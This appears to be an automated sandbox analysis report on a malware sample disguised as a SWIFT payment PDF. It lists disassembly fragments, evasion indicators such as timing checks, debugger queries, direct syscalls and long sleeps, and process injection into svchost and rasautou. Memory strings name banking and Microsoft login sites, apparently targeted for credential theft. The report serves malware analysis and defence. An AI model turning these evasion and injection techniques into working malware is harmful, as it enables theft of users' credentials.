Source:	Binary string: svchost.pdb source: rasautou.exe, 00000004.00000002.4606460151.0000000003177000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4614264307.00000000053FC000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2619893356.00000000245FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: rasautou.exe, 00000004.00000002.4606460151.0000000003177000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4614264307.00000000053FC000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.000000000321C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.2619893356.00000000245FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: rasautou.pdbGCTL source: svchost.exe, 00000002.00000002.2314913469.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2282220992.0000000003613000.00000004.00000020.00020000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000003.2252387323.000000000081B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rasautou.pdb source: svchost.exe, 00000002.00000002.2314913469.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2282220992.0000000003613000.00000004.00000020.00020000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000003.00000003.2252387323.000000000081B000.00000004.00000020.00020000.00000000.sdmp

Source: SWIFT COPY 0028_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SWIFT COPY 0028_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SWIFT COPY 0028_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SWIFT COPY 0028_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SWIFT COPY 0028_pdf.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0093E01E LoadLibraryA,GetProcAddress,

0_2_0093E01E

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00946B05 push ecx; ret	0_2_00946B18
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414118 push ebx; retf	2_2_0041412D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414123 push ebx; retf	2_2_0041412D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004051D4 push ebx; retf	2_2_004051E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004151AD push edx; ret	2_2_004151AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00412A2B pushfd ; iretd	2_2_00412A2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004032E0 push eax; ret	2_2_004032E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418A96 push edi; ret	2_2_00418A97
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DB8C push esi; iretd	2_2_0040DB8D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004013B0 push eax; ret	2_2_004014F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004013B0 push edx; ret	2_2_00401734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004193BE push esp; retf	2_2_004193BF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D415 push cs; ret	2_2_0040D42F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004014C2 push eax; ret	2_2_004014F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414CE7 push ds; iretd	2_2_00414CCC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414CAD push ds; iretd	2_2_00414CCC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041AD76 push esi; ret	2_2_0041AD8A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040852B pushfd ; ret	2_2_00408534
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401725 push edx; ret	2_2_00401734
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417F37 push ebp; ret	2_2_00417F38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00419794 pushfd ; ret	2_2_004197A9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004087BB push FFFFFFBBh; retf	2_2_004087BE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C0225F pushad ; ret	2_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C027FA pushad ; ret	2_2_03C027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C309AD push ecx; mov dword ptr [esp], ecx	2_2_03C309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C0283D push eax; iretd	2_2_03C02858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C01368 push eax; iretd	2_2_03C01369
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C01065 push edi; ret	2_2_03C0108A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C018F3 push edx; iretd	2_2_03C01906
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DE2ADE push edi; ret	3_2_02DE2ADF
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DDCA73 pushfd ; iretd	3_2_02DDCA74

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00988111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00988111
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0093EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0093EB42

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0094123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0094123A

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	API/Special instruction interceptor: Address: 102811C
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\rasautou.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03C7096E rdtsc

2_2_03C7096E

Source: C:\Windows\SysWOW64\rasautou.exe

Window / User API: threadDelayed 9839

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Evaded block: after key decision

graph_0-94934

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-95465

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	API coverage: 4.6 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\rasautou.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\rasautou.exe TID: 5168	Thread sleep count: 134 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe TID: 5168	Thread sleep time: -268000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe TID: 5168	Thread sleep count: 9839 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe TID: 5168	Thread sleep time: -19678000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe TID: 3544	Thread sleep time: -80000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe TID: 3544	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe TID: 3544	Thread sleep time: -66000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe TID: 3544	Thread sleep count: 44 > 30	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe TID: 3544	Thread sleep time: -44000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\rasautou.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rasautou.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00966CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00966CA9
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009660DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_009660DD
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_009663F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_009663F9
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0096EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0096EB60
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0096F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0096F5FA
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0096F56F FindFirstFileW,FindClose,	0_2_0096F56F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00971B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00971B2F
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00971C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00971C8A
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_00971F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00971F94
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E6CC00 FindFirstFileW,FindNextFileW,FindClose,	4_2_02E6CC00

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0093DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0093DDC0

Source: rasautou.exe, 00000004.00000002.4616647777.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,116964875L
Source: 3q3Zl7JL.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 3q3Zl7JL.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 3q3Zl7JL.4.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 3q3Zl7JL.4.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware2
Source: 3q3Zl7JL.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ive Brokers - GDCDYNVMware20,116
Source: 3q3Zl7JL.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 3q3Zl7JL.4.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: rasautou.exe, 00000004.00000002.4606460151.0000000003177000.00000004.00000020.00020000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4612180674.0000000001109000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 3q3Zl7JL.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 00000009.00000002.2621176407.00000252644FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllKK
Source: 3q3Zl7JL.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 3q3Zl7JL.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 3q3Zl7JL.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 3q3Zl7JL.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 3q3Zl7JL.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 3q3Zl7JL.4.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 3q3Zl7JL.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 3q3Zl7JL.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 3q3Zl7JL.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 3q3Zl7JL.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n PasswordVMware
Source: 3q3Zl7JL.4.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n.utiitsl.comVMware20,11696487552h
Source: 3q3Zl7JL.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 3q3Zl7JL.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 3q3Zl7JL.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 3q3Zl7JL.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 3q3Zl7JL.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	API call chain: ExitProcess graph end node			graph_0-93998
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	API call chain: ExitProcess graph end node			graph_0-95218

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03C7096E rdtsc

2_2_03C7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417E23 LdrLoadDll,

2_2_00417E23

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00976AAF BlockInput,

0_2_00976AAF

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00923D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00923D19

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00953920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

0_2_00953920

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0093E01E LoadLibraryA,GetProcAddress,

0_2_0093E01E

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_01028388 mov eax, dword ptr fs:[00000030h]	0_2_01028388
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_010283E8 mov eax, dword ptr fs:[00000030h]	0_2_010283E8
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_01026D58 mov eax, dword ptr fs:[00000030h]	0_2_01026D58
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CEC3CD mov eax, dword ptr fs:[00000030h]	2_2_03CEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C383C0 mov eax, dword ptr fs:[00000030h]	2_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB63C0 mov eax, dword ptr fs:[00000030h]	2_2_03CB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	2_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	2_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE3DB mov ecx, dword ptr fs:[00000030h]	2_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	2_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD43D4 mov eax, dword ptr fs:[00000030h]	2_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD43D4 mov eax, dword ptr fs:[00000030h]	2_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C403E9 mov eax, dword ptr fs:[00000030h]	2_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C663FF mov eax, dword ptr fs:[00000030h]	2_2_03C663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]	2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]	2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E388 mov eax, dword ptr fs:[00000030h]	2_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5438F mov eax, dword ptr fs:[00000030h]	2_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5438F mov eax, dword ptr fs:[00000030h]	2_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]	2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]	2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C28397 mov eax, dword ptr fs:[00000030h]	2_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB2349 mov eax, dword ptr fs:[00000030h]	2_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov ecx, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB035C mov eax, dword ptr fs:[00000030h]	2_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA352 mov eax, dword ptr fs:[00000030h]	2_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD8350 mov ecx, dword ptr fs:[00000030h]	2_2_03CD8350
